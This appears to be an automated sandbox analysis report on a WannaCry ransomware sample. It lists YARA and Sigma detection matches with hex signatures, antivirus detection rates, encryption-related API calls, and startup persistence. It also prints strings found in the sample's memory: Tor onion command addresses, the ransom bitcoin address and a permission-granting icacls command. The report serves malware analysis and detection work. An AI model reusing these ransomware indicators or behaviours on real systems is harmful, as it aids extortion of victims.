      00000000.00000002.2384451558.000000000040F000.00000004.00000001.01000000.00000003.sdmpwanna_cry_ransomware_genericdetects wannacry ransomware on disk and in virtual pageus-cert code analysis team
      • 0x4d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63
      • 0x500:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
      00000000.00000003.1411691066.0000000000A63000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_WannacryYara detected Wannacry ransomwareJoe Security
        00000000.00000003.1140110778.0000000000A03000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_WannacryYara detected Wannacry ransomwareJoe Security
          Click to see the 1 entries

          Unpacked PEs

          SourceRuleDescriptionAuthorStrings
          0.2.WannaCry_2.EXE.9e6968.0.unpackWanaCryWanaCry Payloadkevoreilly
          • 0xd5c4:$exename: @WanaDecryptor@.exe
          • 0xd60c:$exename: @WanaDecryptor@.exe
          • 0xd8c0:$res: %08X.res
          • 0xd8b4:$pky: %08X.pky
          • 0xd8a8:$eky: %08X.eky
          • 0x5ba9:$taskstart: 8B 35 58 71 00 10 53 68 C0 D8 00 10 68 F0 DC 00 10 FF D6 83 C4 0C 53 68 B4 D8 00 10 68 24 DD 00 10 FF D6 83 C4 0C 53 68 A8 D8 00 10 68 58 DD 00 10 FF D6 53
          0.2.WannaCry_2.EXE.10000000.1.unpackWanaCryWanaCry Payloadkevoreilly
          • 0xd5c4:$exename: @WanaDecryptor@.exe
          • 0xd60c:$exename: @WanaDecryptor@.exe
          • 0xd8c0:$res: %08X.res
          • 0xd8b4:$pky: %08X.pky
          • 0xd8a8:$eky: %08X.eky
          • 0x5ba9:$taskstart: 8B 35 58 71 00 10 53 68 C0 D8 00 10 68 F0 DC 00 10 FF D6 83 C4 0C 53 68 B4 D8 00 10 68 24 DD 00 10 FF D6 83 C4 0C 53 68 A8 D8 00 10 68 58 DD 00 10 FF D6 53
          202.0.@WanaDecryptor@.exe.400000.0.unpackJoeSecurity_WannacryYara detected Wannacry ransomwareJoe Security
            202.0.@WanaDecryptor@.exe.400000.0.unpackWin32_Ransomware_WannaCryunknownReversingLabs
            • 0x133e6:$main_6: FF 74 24 10 FF 74 24 10 FF 74 24 10 FF 74 24 10 E8 43 00 00 00 C2
            • 0x1caa:$set_reg_key_6: 68 C8 FD 41 00 F3 AB 66 AB AA 8D 44 24 1C C7 44 24 14 00 00 00 00 50 FF 15 54 55 41 00 8B 2D E8 50 41 00 8B 1D 0C 50 41 00 83 C4 08 33 FF 89 7C 24 14 85 FF 75 11 8D 4C 24 10 8D 54 24 18 51 52 ...
            • 0x13102:$entrypoint_all: 55 8B EC 6A FF 68 A8 BA 41 00 68 50 30 41 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 E8 33 DB 89 5D FC 6A 02 FF 15 24 55 41 00 59 83 0D 98 22 42 00 FF 83 0D 9C 22 42 ...
            0.2.WannaCry_2.EXE.9e6968.0.raw.unpackWanaCryWanaCry Payloadkevoreilly
            • 0xd5c4:$exename: @WanaDecryptor@.exe
            • 0xd60c:$exename: @WanaDecryptor@.exe
            • 0xd8c0:$res: %08X.res
            • 0xd8b4:$pky: %08X.pky
            • 0xd8a8:$eky: %08X.eky
            • 0x5ba9:$taskstart: 8B 35 58 71 00 10 53 68 C0 D8 00 10 68 F0 DC 00 10 FF D6 83 C4 0C 53 68 B4 D8 00 10 68 24 DD 00 10 FF D6 83 C4 0C 53 68 A8 D8 00 10 68 58 DD 00 10 FF D6 53
            Click to see the 4 entries

            Sigma Signatures

            System Summary

            barindex
            Sigma detected: Startup Folder File Write
            Source: File createdAuthor: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Users\user\Desktop\WannaCry_2.EXE, ProcessId: 7008, TargetFilename: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\StartUp\~SD91F6.tmp
            Sigma detected: Uncommon Svchost Parent Process
            Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: C:\Windows\System32\svchost.exe -k NetworkService -p, CommandLine: C:\Windows\System32\svchost.exe -k NetworkService -p, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\WannaCry_2.EXE", ParentImage: C:\Users\user\Desktop\WannaCry_2.EXE, ParentProcessId: 7008, ParentProcessName: WannaCry_2.EXE, ProcessCommandLine: C:\Windows\System32\svchost.exe -k NetworkService -p, ProcessId: 6656, ProcessName: svchost.exe
            Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
            Source: Process startedAuthor: Michael Haag: Data: Command: cscript.exe //nologo m.vbs, CommandLine: cscript.exe //nologo m.vbs, CommandLine|base64offset|contains: (, Image: C:\Windows\SysWOW64\cscript.exe, NewProcessName: C:\Windows\SysWOW64\cscript.exe, OriginalFileName: C:\Windows\SysWOW64\cscript.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c 133611722583794.bat, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 6208, ParentProcessName: cmd.exe, ProcessCommandLine: cscript.exe //nologo m.vbs, ProcessId: 4304, ProcessName: cscript.exe
            Sigma detected: Windows Processes Suspicious Parent Directory
            Source: Process startedAuthor: vburov: Data: Command: C:\Windows\System32\svchost.exe -k NetworkService -p, CommandLine: C:\Windows\System32\svchost.exe -k NetworkService -p, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\WannaCry_2.EXE", ParentImage: C:\Users\user\Desktop\WannaCry_2.EXE, ParentProcessId: 7008, ParentProcessName: WannaCry_2.EXE, ProcessCommandLine: C:\Windows\System32\svchost.exe -k NetworkService -p, ProcessId: 6656, ProcessName: svchost.exe

            Snort Signatures

            ⊘No Snort rule has matched

            Joe Sandbox Signatures

            Click to jump to signature section

            Show All Signature Results

            AV Detection

            barindex
            Antivirus / Scanner detection for submitted sample
            Source: WannaCry_2.EXEAvira: detected
            Antivirus detection for dropped file
            Source: C:\@WanaDecryptor@.exeAvira: detection malicious, Label: TR/FileCoder.724645
            Multi AV Scanner detection for dropped file
            Source: C:\@WanaDecryptor@.exeReversingLabs: Detection: 97%
            Source: C:\@WanaDecryptor@.exeVirustotal: Detection: 90%Perma Link
            Source: C:\Users\user\AppData\Local\@WanaDecryptor@.exeReversingLabs: Detection: 97%
            Source: C:\Users\user\AppData\Local\@WanaDecryptor@.exeVirustotal: Detection: 90%Perma Link
            Source: C:\Users\user\Desktop\@WanaDecryptor@.exeReversingLabs: Detection: 97%
            Source: C:\Users\user\Desktop\@WanaDecryptor@.exeVirustotal: Detection: 90%Perma Link
            Source: C:\Users\user\Desktop\taskdl.exeReversingLabs: Detection: 95%
            Source: C:\Users\user\Desktop\taskdl.exeVirustotal: Detection: 87%Perma Link
            Source: C:\Users\user\Desktop\taskse.exeReversingLabs: Detection: 89%
            Source: C:\Users\user\Desktop\taskse.exeVirustotal: Detection: 90%Perma Link
            Source: C:\Users\user\Desktop\u.wnryReversingLabs: Detection: 97%
            Source: C:\Users\user\Desktop\u.wnryVirustotal: Detection: 90%Perma Link
            Source: C:\Users\user\Documents\@WanaDecryptor@.exeReversingLabs: Detection: 97%
            Source: C:\Users\user\Documents\@WanaDecryptor@.exeVirustotal: Detection: 90%Perma Link
            Source: C:\Users\user\Downloads\@WanaDecryptor@.exeReversingLabs: Detection: 97%
            Source: C:\Users\user\Downloads\@WanaDecryptor@.exeVirustotal: Detection: 90%Perma Link
            Multi AV Scanner detection for submitted file
            Source: WannaCry_2.EXEReversingLabs: Detection: 92%
            Source: WannaCry_2.EXEVirustotal: Detection: 94%Perma Link
            AI detected suspicious sample
            Source: Submited SampleIntegrated Neural Analysis Model: Matched 97.5% probability
            Machine Learning detection for dropped file
            Source: C:\@WanaDecryptor@.exeJoe Sandbox ML: detected
            Machine Learning detection for sample
            Source: WannaCry_2.EXEJoe Sandbox ML: detected
            Source: C:\Users\user\Desktop\WannaCry_2.EXECode function: 0_2_10003F00 GetFileAttributesA,GetFileAttributesA,CreateFileA,GetFileSize,GlobalAlloc,ReadFile,GetFileAttributesA,CryptImportKey,_local_unwind2,_local_unwind2,0_2_10003F00
            Source: C:\Users\user\Desktop\WannaCry_2.EXECode function: 0_2_10003C00 CryptDestroyKey,0_2_10003C00
            Source: C:\Users\user\Desktop\WannaCry_2.EXECode function: 0_2_10004040 CryptExportKey,GlobalAlloc,CryptExportKey,_local_unwind2,CreateFileA,WriteFile,_local_unwind2,0_2_10004040
            Source: C:\Users\user\Desktop\WannaCry_2.EXECode function: 0_2_10004350 CryptGenKey,0_2_10004350
            Source: C:\Users\user\Desktop\WannaCry_2.EXECode function: 0_2_10004170 CryptExportKey,CryptGetKeyParam,GlobalAlloc,CryptEncrypt,GlobalFree,0_2_10004170
            Source: C:\Users\user\Desktop\WannaCry_2.EXECode function: 0_2_10004370 EnterCriticalSection,CryptEncrypt,LeaveCriticalSection,LeaveCriticalSection,0_2_10004370
            Source: C:\Users\user\Desktop\WannaCry_2.EXECode function: 0_2_10003A80 GetFileAttributesA,GetFileAttributesA,CryptAcquireContextA,0_2_10003A80
            Source: C:\Users\user\Desktop\WannaCry_2.EXECode function: 0_2_10003BB0 GetFileAttributesA,CryptDestroyKey,CryptDestroyKey,CryptReleaseContext,0_2_10003BB0
            Source: C:\Users\user\Desktop\WannaCry_2.EXECode function: 0_2_10003AC0 CryptImportKey,CryptImportKey,CryptDestroyKey,0_2_10003AC0
            Source: C:\Users\user\Desktop\WannaCry_2.EXECode function: 0_2_10003D10 GetFileAttributesA,CryptEncrypt,_local_unwind2,CryptDecrypt,GetFileAttributesA,strncmp,_local_unwind2,0_2_10003D10
            Source: C:\Users\user\Desktop\WannaCry_2.EXECode function: 0_2_10004420 CryptGenRandom,0_2_10004420
            Source: C:\Users\user\Desktop\WannaCry_2.EXECode function: 0_2_10004440 CryptAcquireContextA,wcsrchr,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CryptAcquireContextA,CryptImportKey,CryptDestroyKey,CryptEncrypt,CryptDecrypt,0_2_10004440
            Source: WannaCry_2.EXEStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
            Source: Binary string: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\INetCacheBlocking_prod.pdb.VP9VideoExtensions_8wekyb source: WannaCry_2.EXE, 00000000.00000002.2398944134.000000000371E000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: \C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2lication Data\Applicatio source: WannaCry_2.EXE, 00000000.00000003.1232871894.00000000025B3000.00000004.00000020.00020000.00000000.sdmp
            Source: C:\Users\user\Desktop\WannaCry_2.EXECode function: 0_2_10002300 CloseHandle,SHGetFolderPathW,??2@YAPAXI@Z,??_U@YAPAXI@Z,swprintf,FindFirstFileW,??3@YAXPAX@Z,??3@YAXPAX@Z,wcscmp,wcscmp,wcscmp,swprintf,?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z,wcslen,?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@PBGI@Z,?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z,wcscmp,wcscmp,wcscmp,wcsncpy,wcsncpy,wcsncpy,FindNextFileW,FindClose,_wcsnicmp,?_C@?1??_Nullstr@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@CAPBGXZ@4GB,?_C@?1??_Nullstr@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@CAPBGXZ@4GB,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,0_2_10002300
            Source: C:\Users\user\Desktop\WannaCry_2.EXECode function: 0_2_10004A40 CloseHandle,SHGetFolderPathW,wcslen,SHGetFolderPathW,SHGetFolderPathW,wcslen,wcsrchr,wcschr,SHGetFolderPathW,wcslen,wcsrchr,swprintf,FindFirstFileW,wcscmp,wcscmp,swprintf,wcscmp,swprintf,FindNextFileW,FindClose,0_2_10004A40
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\ClipSVC\GenuineTicket\~SD7337.tmpJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\~SDFE2E.tmpJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\ClipSVC\~SD7324.tmpJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\ClipSVC\Archive\Apps\~SD7336.tmpJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\ClipSVC\Archive\~SD7325.tmpJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Caches\~SD7323.tmpJump to behavior

            Networking

            barindex
            Found Tor onion address
            Source: WannaCry_2.EXE, 00000000.00000002.2417050022.000000001000C000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: C13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94gx7ekbenv2riucmf.onion;57g7spgrzlojinas.onion;xxlvbrloxvriy2c5.onion;76jdd2ir2embyv47.onion;cwwnhwhlz52maqm7.onion;https://dist.torproject.org/torbrowser/6.5.1/tor-win32-0.2.9.10.zip!WD
            Source: @WanaDecryptor@.exe, 000000CA.00000002.2383330775.000000000019B000.00000004.00000010.00020000.00000000.sdmpString found in binary or memory: C13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94gx7ekbenv2riucmf.onion;57g7spgrzlojinas.onion;xxlvbrloxvriy2c5.onion;76jdd2ir2embyv47.onion;cwwnhwhlz52maqm7.onion;https://dist.torproject.org/torbrowser/6.5.1/tor-win32-0.2.9.10.zip
            Source: SIHClient.exe, 00000043.00000003.1653352890.00000212F3779000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.microsoft.cP
            Source: svchost.exe, 00000047.00000002.1367874845.000001DB1BE13000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.bingmapsportal.com
            Source: WannaCry_2.EXE, 00000000.00000003.1411691066.0000000000A63000.00000004.00000020.00020000.00000000.sdmp, WannaCry_2.EXE, 00000000.00000003.1140110778.0000000000A03000.00000004.00000020.00020000.00000000.sdmp, @WanaDecryptor@.exe, 000000CA.00000000.1527615654.000000000041F000.00000008.00000001.01000000.00000009.sdmp, @WanaDecryptor@.exe, 000000CA.00000002.2383911467.0000000000421000.00000004.00000001.01000000.00000009.sdmpString found in binary or memory: http://www.btcfrog.com/qr/bitcoinPNG.php?address=%s
            Source: WannaCry_2.EXE, 00000000.00000003.1411691066.0000000000A63000.00000004.00000020.00020000.00000000.sdmp, WannaCry_2.EXE, 00000000.00000003.1140110778.0000000000A03000.00000004.00000020.00020000.00000000.sdmp, @WanaDecryptor@.exe, 000000CA.00000000.1527615654.000000000041F000.00000008.00000001.01000000.00000009.sdmp, @WanaDecryptor@.exe, 000000CA.00000002.2383911467.0000000000421000.00000004.00000001.01000000.00000009.sdmpString found in binary or memory: http://www.btcfrog.com/qr/bitcoinPNG.php?address=%smailto:%shttps://www.google.com/search?q=how
            Source: @WanaDecryptor@.exe, 000000CA.00000002.2386689246.0000000000BF0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.btcfrog.com/qr/bitcoinPNG.php?address=13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94
            Source: svchost.exe, 00000047.00000003.1366925556.000001DB1BE58000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://appexmapsappupdate.blob.core.windows.net
            Source: svchost.exe, 00000047.00000003.1366925556.000001DB1BE58000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000047.00000002.1368352141.000001DB1BE59000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.ditu.live.com/REST/V1/MapControlConfiguration/native/
            Source: svchost.exe, 00000047.00000003.1366770859.000001DB1BE62000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000047.00000003.1367043880.000001DB1BE5A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000047.00000003.1366925556.000001DB1BE58000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000047.00000002.1368380250.000001DB1BE65000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000047.00000002.1368532706.000001DB1BE81000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000047.00000003.1367113384.000001DB1BE41000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.ditu.live.com/REST/v1/Imagery/Copyright/
            Source: svchost.exe, 00000047.00000002.1368532706.000001DB1BE81000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.ditu.live.com/REST/v1/JsonFilter/VenueMaps/data/
            Source: svchost.exe, 00000047.00000003.1366925556.000001DB1BE58000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.ditu.live.com/REST/v1/Locations
            Source: svchost.exe, 00000047.00000003.1366699932.000001DB1BE67000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.ditu.live.com/REST/v1/Routes/
            Source: svchost.exe, 00000047.00000003.1366457653.000001DB1BE86000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.ditu.live.com/REST/v1/Transit/Stops/
            Source: svchost.exe, 00000047.00000003.1366925556.000001DB1BE58000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.ditu.live.com/mapcontrol/logging.ashx
            Source: svchost.exe, 00000047.00000003.1366770859.000001DB1BE62000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000047.00000002.1368145142.000001DB1BE3F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000047.00000003.1367043880.000001DB1BE5A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000047.00000003.1366925556.000001DB1BE58000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/REST/v1/Imagery/Copyright/
            Source: svchost.exe, 00000047.00000003.1366925556.000001DB1BE58000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/REST/v1/Locations
            Source: svchost.exe, 00000047.00000002.1367979156.000001DB1BE2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000047.00000003.1366699932.000001DB1BE67000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/
            Source: svchost.exe, 00000047.00000003.1366925556.000001DB1BE58000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Driving
            Source: svchost.exe, 00000047.00000003.1366925556.000001DB1BE58000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Transit
            Source: svchost.exe, 00000047.00000003.1366925556.000001DB1BE58000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Walking
            Source: svchost.exe, 00000047.00000003.1366770859.000001DB1BE62000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000047.00000002.1368145142.000001DB1BE3F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000047.00000002.1368380250.000001DB1BE65000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/REST/v1/Traffic/Incidents/
            Source: svchost.exe, 00000047.00000002.1368188268.000001DB1BE44000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000047.00000003.1367113384.000001DB1BE41000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/REST/v1/Transit/Schedules/
            Source: svchost.exe, 00000047.00000003.1366925556.000001DB1BE58000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/mapcontrol/logging.ashx
            Source: svchost.exe, 00000047.00000003.1366770859.000001DB1BE62000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000047.00000003.1367113384.000001DB1BE41000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?
            Source: @WanaDecryptor@.exe, 000000CA.00000002.2383330775.000000000019B000.00000004.00000010.00020000.00000000.sdmpString found in binary or memory: https://dist.torproject.org/torbrowser/6.5.1/tor-win32-0.2.9.10.zip
            Source: svchost.exe, 00000047.00000003.1367113384.000001DB1BE41000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=
            Source: svchost.exe, 00000047.00000003.1367113384.000001DB1BE41000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdi?pv=1&r=
            Source: svchost.exe, 00000047.00000003.1366770859.000001DB1BE62000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdv?pv=1&r=
            Source: svchost.exe, 00000047.00000003.1367113384.000001DB1BE41000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gri?pv=1&r=
            Source: svchost.exe, 00000047.00000003.1367113384.000001DB1BE41000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dynamic.t
            Source: svchost.exe, 00000047.00000003.1366925556.000001DB1BE58000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dynamic.t0.tiles.ditu.live.com/comp/gen.ashx
            Source: svchost.exe, 00000047.00000003.1367113384.000001DB1BE41000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ecn.dev.virtualearth.net/REST/V1/MapControlConfiguration/native/
            Source: svchost.exe, 00000047.00000002.1367979156.000001DB1BE2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000047.00000003.1366699932.000001DB1BE67000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/
            Source: svchost.exe, 00000047.00000003.1367198337.000001DB1BE32000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://t0.sZ
            Source: svchost.exe, 00000047.00000003.1367198337.000001DB1BE32000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000047.00000002.1368020361.000001DB1BE36000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://t0.ss
            Source: svchost.exe, 00000047.00000003.1367198337.000001DB1BE32000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://t0.ssl.ak.dyn
            Source: svchost.exe, 00000047.00000003.1367198337.000001DB1BE32000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://t0.ssl.ak.dynamic
            Source: svchost.exe, 00000047.00000003.1367198337.000001DB1BE32000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtua
            Source: svchost.exe, 00000047.00000003.1367113384.000001DB1BE41000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/comp/gen.ashx
            Source: svchost.exe, 00000047.00000003.1367198337.000001DB1BE32000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs(_
            Source: svchost.exe, 00000047.00000003.1367113384.000001DB1BE41000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gd?pv=1&r=
            Source: svchost.exe, 00000047.00000003.1367113384.000001DB1BE41000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdi?pv=1&r=
            Source: svchost.exe, 00000047.00000002.1367979156.000001DB1BE2B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=
            Source: svchost.exe, 00000047.00000003.1367198337.000001DB1BE32000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtuh
            Source: svchost.exe, 00000047.00000003.1366925556.000001DB1BE58000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://t0.ssl.ak.tiles.virtualearth.net/tiles/gen
            Source: svchost.exe, 00000047.00000003.1366925556.000001DB1BE58000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000047.00000002.1368352141.000001DB1BE59000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://tiles.virtualearth.net/tiles/cmd/StreetSideBubbleMetaData?north=
            Source: @WanaDecryptor@.exe, 000000CA.00000002.2386689246.0000000000BF0000.00000004.00000020.00020000.00000000.sdmp, @WanaDecryptor@.exe, 000000CA.00000000.1527615654.000000000041F000.00000008.00000001.01000000.00000009.sdmp, @WanaDecryptor@.exe, 000000CA.00000002.2383911467.0000000000421000.00000004.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.google.com/search?q=how

            Spam, unwanted Advertisements and Ransom Demands

            barindex
            Detected Wannacry Ransomware
            Source: C:\Users\user\Desktop\WannaCry_2.EXECode function: CreateFileW,CreateFileW,GetFileSizeEx,GetFileTime,ReadFile,ReadFile,ReadFile,ReadFile,_local_unwind2,SetFilePointer,SetFilePointer,swprintf,CreateFileW,CreateFileW,ReadFile,SetFilePointer,WriteFile,SetFilePointer,WriteFile,SetFilePointer,rand,WriteFile,WriteFile,WriteFile,WriteFile,WriteFile,SetFilePointer,ReadFile,WriteFile,SetFilePointer,ReadFile,WriteFile,_local_unwind2,SetFileTime,FindCloseChangeNotification,CloseHandle,MoveFileW,SetFileAttributesW,DeleteFileW,CloseHandle,MoveFileW,_local_unwind2, WANACRY!0_2_10001960
            Source: C:\Users\user\Desktop\WannaCry_2.EXECode function: CreateFileW,CreateFileW,GetFileSizeEx,GetFileTime,ReadFile,ReadFile,ReadFile,ReadFile,_local_unwind2,SetFilePointer,SetFilePointer,swprintf,CreateFileW,CreateFileW,ReadFile,SetFilePointer,WriteFile,SetFilePointer,WriteFile,SetFilePointer,rand,WriteFile,WriteFile,WriteFile,WriteFile,WriteFile,SetFilePointer,ReadFile,WriteFile,SetFilePointer,ReadFile,WriteFile,_local_unwind2,SetFileTime,FindCloseChangeNotification,CloseHandle,MoveFileW,SetFileAttributesW,DeleteFileW,CloseHandle,MoveFileW,_local_unwind2, WANACRY!0_2_10001960
            Yara detected Wannacry ransomware
            Source: Yara matchFile source: WannaCry_2.EXE, type: SAMPLE
            Source: Yara matchFile source: 202.0.@WanaDecryptor@.exe.400000.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 0.0.WannaCry_2.EXE.400000.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 000000CA.00000000.1527615654.000000000041F000.00000008.00000001.01000000.00000009.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000000.00000003.1411691066.0000000000A63000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000000.00000003.1140110778.0000000000A03000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: Process Memory Space: WannaCry_2.EXE PID: 7008, type: MEMORYSTR
            Source: Yara matchFile source: C:\@WanaDecryptor@.exe, type: DROPPED
            Source: Yara matchFile source: C:\Users\user\Desktop\u.wnry, type: DROPPED
            Contains functionalty to change the wallpaper
            Source: C:\Users\user\Desktop\WannaCry_2.EXECode function: 0_2_10004F20 swprintf,swprintf,MultiByteToWideChar,CopyFileW,CopyFileW,GetUserNameW,_wcsicmp,SystemParametersInfoW,swprintf,CopyFileW,0_2_10004F20
            Deletes shadow drive data (may be related to ransomware)
